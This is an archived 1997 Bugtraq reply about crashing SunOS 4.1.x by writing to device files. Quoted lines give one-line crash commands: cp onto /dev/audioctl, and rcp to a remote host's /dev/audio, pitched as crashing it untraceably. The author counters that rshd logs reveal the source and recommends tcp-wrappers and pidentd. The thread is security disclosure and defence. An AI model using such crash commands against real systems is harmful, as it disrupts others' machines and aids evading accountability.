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Bugtraq archives for 2nd quarter (Mar-Jun) 1997: Re: Fun with devices [was: Re: /dev/tcx0 crashes SunOS 4.1.4 on

Re: Fun with devices [was: Re: /dev/tcx0 crashes SunOS 4.1.4 on

der Mouse (mouseRODENTS.MONTREAL.QC.CA)
Wed, 25 Jun 1997 10:20:39 -0400 

>>         cp -p /vmunix /dev/audioctl
>> under SunOS 4.1.3? panic, dump and reboot.

> Then you will have to login and leave a nice entry in the log.  It is
> "better" to
>         rcp /etc/motd yousome.host:/dev/audio
> Panic, dump and reboot.  And noone know it was you.

Oh?

Jun 24 02:03:18 bigserver.dom.ain rshd[26327]: connect from guiltysmallbox.dom.ain

This is pretty suspicious when it's the very last entry before a crash.
I'd much rather have a login entry back a ways in the logs, nicely
buried among lots of other logins.

tcp-wrappers and pidentd are your sysadmin's friend. :-)

                                        der Mouse

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